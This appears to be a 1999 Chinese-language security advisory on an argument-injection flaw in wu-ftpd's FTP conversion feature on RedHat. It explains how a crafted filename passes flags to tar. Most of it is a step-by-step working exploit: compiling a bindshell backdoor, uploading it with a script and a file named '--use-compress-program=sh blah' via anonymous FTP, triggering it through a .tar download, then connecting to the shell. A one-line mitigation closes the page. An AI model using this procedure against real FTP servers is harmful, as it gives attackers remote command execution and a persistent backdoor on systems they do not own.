FTP conversions(转换)安全漏洞
发布日期:1999-12-23
更新日期:1999-12-23
受影响系统:RedHat (5.2, 6.0, 6.1)
anonftp package version 2.8.1
wu-ftpd (2.4.2, 2.5.0, 2.6.0)
描述:
技术分析:
在某些FTP守护程序的某些特定配置存在这个漏洞:攻击者只需一个有效的FTP帐号就可能成功执行任意代码,即使是匿名FTP帐号也有可能成功。
FTP Conversion用于调用程序对从FTP服务器上下载的文件进行转换/归档/压缩。这些文件必须以.tar/.tar.gz/.Z/.gz后缀名结尾。FTP服务器打开到相应程序(如/bin/tar)的管道,并将文件通过这个管道发送给用户。
如果攻击者构造一个以'-'符号开头的文件名,它可能会作为标志(flags)参数被传递给FTPD调用的命令。如果这个文件名中还包含空格,将可能传递更多的参数。当前常用的tar命令含有一些相当有趣的参数。
在tar(1)的手册页中:
--use-compress-program PROG
filter the archive through PROG (which must accept -d)
因此,格式如下的参数使用:
--use-compress-program=id
将调用id命令作为tar的压缩程序。(当然这个命令会失败,但不妨一试。)
利用这种机制,可以调用FTP路径中的任何命令。别忘了前面提到的,还可以向这些命令传递更多参数。
影响:
这个安全漏洞允许没有权限执行命令的用户能够执行包含在路径中的任意命令。如果这些命令还能够运行其它命令,就相当于得到一个交互式的shell了。这个方法也许对使用了chroot()匿名FTP用户(如Wu-ftpd)有服务器无效。但它仍然允许用户上载他们自己的文件,并利用这个FTP服务器进行:
- 绕过ACL安全机制攻击内部网络;
- 从该FTP服务器对其它主机进行拒绝服务攻击;
- 利用该FTP服务器作为分布式攻击或分布式拒绝服务攻击的一部分。
攻击过程实例:
实施攻击是很简单的。但你必须有上载/下载文件的权限,例如存取权限为0777的/incoming目录。还有就是需要在远程路径里有shell。如一个安装了解anonftp软件包的RedHat机器就包含了所需要的东西。
1、首先,找一台与目标系统相同的系统平台,静态编译某些后门程序,如最常用的bindshell.c。
$ gcc bindshell.c -o b -static
2、然后,对其进行tar。这一步是为了在远程系统端保持其(运行)权限。
$ tar -cf b.tar b
3、接着编写一个将要在远程主机执行命令的脚本,这个脚本将会被传递给bash或sh处理。
$ cat > blah
#
/bin/tar -xf b.tar
/b
^D
(第一行是注释行。)
4、然后构造一个名为"--use-compress-program=sh blah"的空文件。
$ > "--use-compress-program=sh blah"
5、现在,连接到目标主机的FTP服务器实施攻击:
$ ftp localhost
Connected to localhost.
220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21
10:10:10 EDT 2000) ready.
Name (localhost:suid): ftp
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
(切换到可写目录:)
ftp> cd /incoming
(上载文件:)
ftp> put blah
ftp> put b.tar
ftp> put "--use-compress-program=sh blah"
(然后利用TAR转换,下载你的"--use-compress-program=sh blah"文件:)
ftp> get "--use-compress-program=sh blah".tar
这时会打开一个连接,FTP连接停止(不是中断!)。现在telnet到你的bindshell吧。:)
建议:
在/etc/ftpaccess中取消ftp conversions。
浏览次数:7555
严重程度:0(网友投票)